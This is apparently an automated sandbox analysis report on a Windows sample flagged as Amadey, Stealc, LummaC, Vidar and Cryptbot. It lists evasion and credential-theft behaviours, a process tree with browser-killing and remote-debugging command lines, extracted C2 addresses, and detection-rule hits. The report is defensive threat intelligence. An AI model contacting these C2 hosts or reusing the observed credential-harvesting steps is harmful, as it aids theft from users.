Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561498
MD5:	699f4008683185b4a050b05ace13d601
SHA1:	70d47e8921906a344885c279afa34522658bf06d
SHA256:	ffc9a0fe541652271756108c9b20010b9f99024c69bc81111076ae8a132ae733
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6736 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 699F4008683185B4A050B05ACE13D601)

skotes.exe (PID: 5840 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 699F4008683185B4A050B05ACE13D601)

skotes.exe (PID: 2412 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 699F4008683185B4A050B05ACE13D601)

skotes.exe (PID: 7164 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 699F4008683185B4A050B05ACE13D601)

5468191780.exe (PID: 1228 cmdline: "C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe" MD5: E7AA83909ACE3906EC75144CC33E024C)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 6976 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

WerFault.exe (PID: 2648 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 1224 MD5: C31336C1EFC2CCB44B4326EA793040F2)

f5d46eacf9.exe (PID: 1244 cmdline: "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe" MD5: 3EBF7BB70DC746683D4274C4AF45C8AC)

chrome.exe (PID: 6452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1824 --field-trial-handle=2012,i,11153109212737079239,13251433819729760146,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4500 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1964,i,9859859316029743068,17150694604793009132,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

a0a3a50765.exe (PID: 5292 cmdline: "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe" MD5: 0537AFAC70B6FBC5A47749CAF7565B78)

chrome.exe (PID: 6712 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1208 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

9777a59422.exe (PID: 5084 cmdline: "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe" MD5: 143C4039D125E72CE6D0CE771F89C518)

taskkill.exe (PID: 6096 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4888 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5676 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1148 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6356 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6496 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

796ccdd7ba.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe" MD5: 2636521BDC04A44FCFA2F00957445A04)

2096827834.exe (PID: 7912 cmdline: "C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe" MD5: 8009FA9B3F6B5B95575A83C2F487F515)

f5d46eacf9.exe (PID: 2484 cmdline: "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe" MD5: 3EBF7BB70DC746683D4274C4AF45C8AC)

firefox.exe (PID: 6568 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6628 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7192 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e6924c53-5749-4633-8b3c-cd6df8f23a18} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 208fcf6d310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8056 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2796 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4004 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7bbb670-2ca0-4c09-a2bf-8b2bb22caf88} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 2088d1b6e10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

a0a3a50765.exe (PID: 7328 cmdline: "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe" MD5: 0537AFAC70B6FBC5A47749CAF7565B78)

9777a59422.exe (PID: 5856 cmdline: "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe" MD5: 143C4039D125E72CE6D0CE771F89C518)

taskkill.exe (PID: 7568 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5080 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7644 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7836 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7924 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7736 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8000 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1532 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d661e13d-5d6b-45c4-a255-7549bd7ee9b7} 8000 "\\.\pipe\gecko-crash-server-pipe.8000" 1fd7236d710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

796ccdd7ba.exe (PID: 6880 cmdline: "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe" MD5: 2636521BDC04A44FCFA2F00957445A04)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000003.2606017151.0000000001399000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3109931730.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2659887278.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2749502841.000000000119F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2695714485.000000000139A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2662002008.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2818578947.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2630672197.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2779674045.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1773574419.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2816108963.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2687415962.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2817466768.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2627351987.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2756319957.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000E.00000003.2607114337.0000000001399000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2815133175.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1814521786.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1793363928.0000000000B71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2300189242.0000000005590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1706623549.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2863664050.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2863943715.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2845499315.0000000001198000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1783134559.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2780226045.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.2775129715.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1823498115.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2782689766.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2660483702.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2813114582.000000000119A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2631540208.0000000001397000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5468191780.exe PID: 1228	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 6976	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 6976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 6976	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 1244	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 1244	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 1244	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: a0a3a50765.exe PID: 5292	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: a0a3a50765.exe PID: 5292	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a0a3a50765.exe PID: 5292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: a0a3a50765.exe PID: 5292	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 2484	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 2484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f5d46eacf9.exe PID: 2484	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9777a59422.exe PID: 5084	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: a0a3a50765.exe PID: 7328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a0a3a50765.exe PID: 7328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9777a59422.exe PID: 5856	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.dc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.dc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7164, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f5d46eacf9.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe, ParentProcessId: 5292, ParentProcessName: a0a3a50765.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6712, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7164, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f5d46eacf9.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:15.250494+0100	2028371	3	Unknown Traffic	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:17.473722+0100	2028371	3	Unknown Traffic	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:19.864235+0100	2028371	3	Unknown Traffic	192.168.2.4	49787	172.67.223.140	443	TCP
2024-11-23T15:22:22.239760+0100	2028371	3	Unknown Traffic	192.168.2.4	49794	172.67.223.140	443	TCP
2024-11-23T15:22:24.692753+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	172.67.223.140	443	TCP
